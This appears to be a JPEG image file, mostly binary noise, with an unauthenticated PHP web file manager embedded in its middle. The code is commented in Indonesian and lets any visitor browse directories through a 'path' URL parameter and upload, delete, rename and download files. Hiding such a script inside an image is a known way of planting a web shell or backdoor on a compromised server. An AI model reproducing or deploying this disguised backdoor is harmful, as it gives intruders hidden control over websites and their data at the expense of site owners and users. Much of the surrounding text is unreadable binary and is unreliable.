ÿØÿàJFIF``ÿþ;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 80 ÿÛC   %# , #&')*)-0-(0%()(ÿÛC   (((((((((((((((((((((((((((((((((((((((((((((((((((ÿÀ x"ÿÄ ÿĵ}!1AQa"q2‘¡#B±ÁRÑð$3br‚ %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ ÿĵw!1AQaq"2B‘¡±Á #3RðbrÑ $4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚâãäåæçèéêòóôõö÷øùúÿÚ ?òU"Ž)1Šz×˶~ïØC@^)qO¦æª7c@â—ìQŠW4å(š;ŠH@)qK@¤ZB \QŠ3@Ќ*6©zÓ 4DÑSñEUÌ\Hȧ(  Ӏâ†Â1)ø Râ¦æê"F)qH챡w!UFI=-öh«°§\åïŠ"Y<»áºn<ùª§Ä­¹u`¾Qÿd¯ë]qÁVjö< ÜS–ÑŸ'=üÒm}ÿäu¸£Ÿ¤jöºšâ&Ù(ÆÝZÑ#¹çNPv’±íá±4qTÕZ2R‹ê„ š\LTØi¤Å?”ÐÊ)ÄQL††(§H)â†8 Å-v¤hbŸ£øjçÅÚúس…j‚ÜÚjkŒO9OA϶tÐZ ŕ›© Ml¯÷ÿÃ9kâ}V×Q’;I:Fá$ImY6“œ{œô-[T×"ðÊނbÞ¹ó:øWcs è¶ æEi’B0Iè*Åø‰´˜U£Fùñå×TÕތù4–Ç‚èÚä··Ó=þ·xÒÆdòUÉ9íÔvïZ2·¹šKy°dXíÁ’N€œŸðí^¿‡¥·úQ‰ 0‘\ϊÌ.—Û¢Úv›#€qµӖ¨ôrœCÃâ£R*îÿž‡æŠ(çml~®šiƚi8Šã¢”Š+7HÅ(¦Òæ±%1ÔRKH´É-å{yãš)"0eaÔÈ5èÚ'Œ®µK°×IÍ`ŒcxÏ\zóúכU½.åì}p}Á«„œYåæù}s2âœ&R¥ç5Óeóoô¹çúeÆ©x¶št]\·Hâ?à?ôø¹ÌºÃMŬ€KhT)F€Ýs‘ƒÇc^sà=CÄ6GP>iܺÆX/?(Î>÷\ɯqøWáCG·¼Ôµ«™fÔu2’Ê®rSÀcýîN{•Ó,5*}nϐÅq^aŠN1´"ûo÷¿ø”^Gs¥jW0Ä̓A+Füu â®Ù_ÞL¼•}ÿw¼)q&¶5m>#$s&.QFpÊ0òÀü+‹He‚@»X zW;ƒLç£QN ›:@V¿³ŽBI¥žr'ðÀ5‘㦙r¯a0hæ$p7,Yޝ¯^õ³ðûN¾ÕœÖòÃG–ñg±„ãZ‘|¸ªW]ã§àÿÌĤÍlø¢ÖÊÊåÊ9ÓÍs±$`Ä äñÇӟ¨¬\×4 á£>Ë/Ìèf4ý­ Ùiª¶¢š)´TØí¹®åRêº`3ùÒ/'Šõ=M7F²²Ñ/å‰.®Ó{C*’²±' ämô=q^ezêŠO•ËÉoç÷Nk˜¼ %([™¾£ï|¨Zéúö°{ÅIêkœI/´Œ.`00}³Þ´ô?Í¡&¥â›ÿí«Í…bŽEÝ\cåSÀìªÚ-Ëxg\·Ó‹·ö5öãl¬IÓL`žŠÃ$PEwÖ÷@†a‚ÁžÕéÑÄF­(ʛ÷YùV"U*V”êüMêVÑt­7C?f±†;xµÄç<#©'ØTÏâ$]m·»K†#¶…¦föA}êå½´rZȗ ÎϘp{Tʑā"EDQ€ª0ªÔËB} Wg¾YD±»Í]»öÏ¥v÷¶vÎê Xºšó–’HfÜ@kwê@å©õËùtRkQŸ*K2§“Ÿ5Ù°¯ ŸÓò®¼=nTÓ1© ´Ñq}m£ÈâK{·2æRðÀÒzrTu¬»èÍxëçϤýÙ-eOæ¸ýjޙ¨]jwR\lò´à»aV_žOW>ƒÐVª…c†q\ïÞw6ZnA46º­¼ÜEÅ­Êr޹Và×/yà ßÙKm.‘k nh# "û†ùñ]ŽÄ„§–¡TvЧzÂÞfcÂ04îÖ¡cÏl~G§ͬÝÞéëo, Ï& À`¡§LW”êú|úV¥ser¤K†68ààõƽ›ÄúÝíÞ©káÍ S íҙ.n—­¼9ùŠûžƒðúÔτ4ÑäÓl㷴ѳÆò¸k‰ ‚w~c’9íÍqâñô¨Ê0ÜŸn‹»>‡‡ó9àfàÕá&¯åæ¾G‰æŠB$‚:Š+¡¥ó ‡ýj}Ev~:ðΣâ/iëhVñAû˗ÈT;¹oaøã­qÖiæÝÃ÷œÖ½'Yñ Ó_Ë¥xj×íڒÿ®ó·³z··nùä*£¯ÐtÞ»ì¶ÕŸÅ2ƒäŒÙ—ã}Eþß¡èÂ2{vK©¦#næ^>…ŽâG5è>ÔK±…òÒï=9>€œzõükƒÑü-{-õÍψÍ<¤<Îê 11YSøUg×çŠÑԙ6¯(üÜà;÷®ü5(R‚„žÝ»õ>.«çwGÐ%Ú@êÎr1LYr õ¯ƒáÎ¥lˆtýJÉv㕎HIúìzî< a©hú(³ÖoMíÂÈÌ%24Ÿ)9-ÍtÉA+Ř+õ:——EaµœúÒ¤ÿ.ïÙÿ=©ö ö÷­'`ÑdàÀ3Y¦Q¥Àè)—±[:yͱXà1(>ç·ãPy¡OZdӍ ƒŸ¥Sz‹Fú)”4RFñÿy\?Ì×54k/*"÷.°ù‡zIc…¤W’6o¾ªØQýErÞ2³¹½K2óížqæ©ýXV98퐣¶sP”º²•Œ-+UŽÃâÉTš6ƒTµ«ýà$^ßCŽƒâ ðö™¬ißEζ¥þÔ&hçL˜Üm8U=°00y«â >£¤ÛÉ¥2Aye*Ïnà ہ¯xsÅóͨE¥xžËû;Uoõ-Ý\vù èyéþ8¯7ЌêҊ’”yeÝvkõô5¦âÚMõ<—_À×5?ÒdÿЍ'Š£ò|Kª¦1‹™?ô#Ez’•8¿$~·BW¥䌅ó7!Ý%ÏÊÉÔoz÷¿ è6þÑ!´·‹kã|ÄòÌç©'¿§á^+ᅉüE¦‹‡T‹íX¹ÀÀ ׿I(uÝ÷èÊx?*mòØø®-qöÔìµ¶ÿ2ë`FkбŸÈñË0,vŒsž*ëõ)¶ÄÄH÷¯Ôõ `ñ]ÆûäFà·qŒb”µ<\¯ñ•]%ÙþZ~6=¢Âþ,|Ä7lÕËÛèc±’UÆF9ükÌ´=q.dfÓÆ¼±¸eyÁÇZÔÔõF–ÛìöqM4²pr¥BSKžÛœR¤á'º;E» ™ö¥³¼A`?ÌÖQÈcÙ‘Ž: ³i`®›îU%u[rG°9þy¡Åô>_0šxª¿â™cûI-±.ß|U++õ>jnbÁ$ðNýUb=î²÷‰îïåU¢Ð滼ŽHä2"eY‚y`Ÿ¡ö÷ª\×8î‹rjPÙrû÷¬k“ äm”tÈ®•ôi•wcg]ù5CûµL‘äÿ«„n'õ«åbMˆ®E†‘1Œò-qÛ=ÿ*óÒyÍzÇÄ;x´EC ±¡–í¸÷>Áɯ&<QZÚÚaŽ-Uï§ê{„õ¸±…˜®ì`ñÞº§ºÛ ÚÝ»q^=àýDÂ<¦<¯B[ÖàçŒT'gcçëáÔ*J=›<ÃǬÄS7ªÿ…_Æ­mϪúš)Éê}æ_/öZ~ˆÿÙ�����JFIF�������� '; } else { echo 'File tidak ditemukan: ' . $file . '
'; } } // Fungsi untuk membuat folder function create_folder($folder_name) { if (!file_exists($folder_name)) { mkdir($folder_name); echo 'Folder berhasil dibuat: ' . $folder_name . '
'; } else { echo 'Folder sudah ada: ' . $folder_name . '
'; } } // Ambil path dari parameter URL $dir = $_GET['path'] ?? '.'; // Jika ada form upload file yang disubmit if (isset($_POST['submit'])) { // Ambil informasi file yang diupload $file_name = $_FILES['file']['name']; $file_tmp = $_FILES['file']['tmp_name']; // Simpan file di direktori yang dituju move_uploaded_file($file_tmp, $dir . '/' . $file_name); } // Jika ada form membuat folder yang disubmit if (isset($_POST['create_folder'])) { $folder_name = $_POST['folder_name']; create_folder($dir . '/' . $folder_name); } // Jika ada parameter delete pada URL, hapus file tersebut if (isset($_GET['delete'])) { $file = $dir . '/' . $_GET['delete']; delete_file($file); } // Jika ada parameter download pada URL, download file tersebut if (isset($_GET['download'])) { $file = $dir . '/' . $_GET['download']; if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename=' . basename($file)); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); ob_clean(); flush(); readfile($file); exit; } else { echo 'File tidak ditemukan: ' . $file . '
'; } } // Tampilkan daftar file dan folder dalam direktori if ($handle = opendir($dir)) { echo '
    '; while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { if (is_dir($dir . '/' . $file)) { echo '
  • ' . $file . '
  • '; } else { echo '
  • ' . $file . ' Download Delete
  • '; } } } echo '
'; closedir($handle); } // Form untuk membuat folder echo '
'; echo ''; echo ''; echo '
'; // Form untuk mengunggah file echo '
'; echo ''; echo ''; echo '
'; // Fungsi untuk mengedit nama file function rename_file($file, $new_name) { $dir = dirname($file); $new_file = $dir . '/' . $new_name; if (file_exists($file)) { if (!file_exists($new_file)) { rename($file, $new_file); echo 'File berhasil diubah nama menjadi: ' . $new_name . '
'; } else { echo 'File dengan nama yang sama sudah ada: ' . $new_name . '
'; } } else { echo 'File tidak ditemukan: ' . $file . '
'; } } // Fungsi untuk mengedit nama folder function rename_folder($folder, $new_name) { $dir = dirname($folder); $new_folder = $dir . '/' . $new_name; if (file_exists($folder)) { if (!file_exists($new_folder)) { rename($folder, $new_folder); echo 'Folder berhasil diubah nama menjadi: ' . $new_name . '
'; } else { echo 'Folder dengan nama yang sama sudah ada: ' . $new_name . '
'; } } else { echo 'Folder tidak ditemukan: ' . $folder . '
'; } } // Jika ada parameter rename_file pada URL, edit nama file tersebut if (isset($_POST['rename_file'])) { $file = $dir . '/' . $_POST['file_name']; $new_name = $_POST['new_name']; rename_file($file, $new_name); } // Jika ada parameter rename_folder pada URL, edit nama folder tersebut if (isset($_POST['rename_folder'])) { $folder = $dir . '/' . $_POST['folder_name']; $new_name = $_POST['new_name']; rename_folder($folder, $new_name); } // Form untuk mengedit nama file echo '
'; echo ''; echo ''; echo ''; echo '
'; // Form untuk mengedit nama folder echo '
'; echo ''; echo ''; echo ''; echo '
'; // Tampilkan tombol untuk berpindah ke folder parent echo 'Up'; // Jika ada parameter download pada URL, download file tersebut if (isset($_GET['download'])) { $file = $dir . '/' . $_GET['download']; if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); ob_clean(); flush(); readfile($file); exit; } else { echo 'File tidak ditemukan: ' . $file . '
'; } } ?>      ���C ��������������������������"����������#Qr��������������������&���������1!�A"2qQa���� ��?��y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM����r�N&"KgX:����nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1<y����Q�U�ہ?.����b߱�֫�w*V��) `$��b�ԟ��X�-�T��G�3�g ����Jx���U/��v_s(H��@T�J����n��!�gfb�c�:�l[�Qe 9�PLb��C�m[5��'�jgl���_���l-;"Pk���Q�_�^�S���x?"���Y騐�O� q�`~~�t�U�Cڒ�V  I1��_��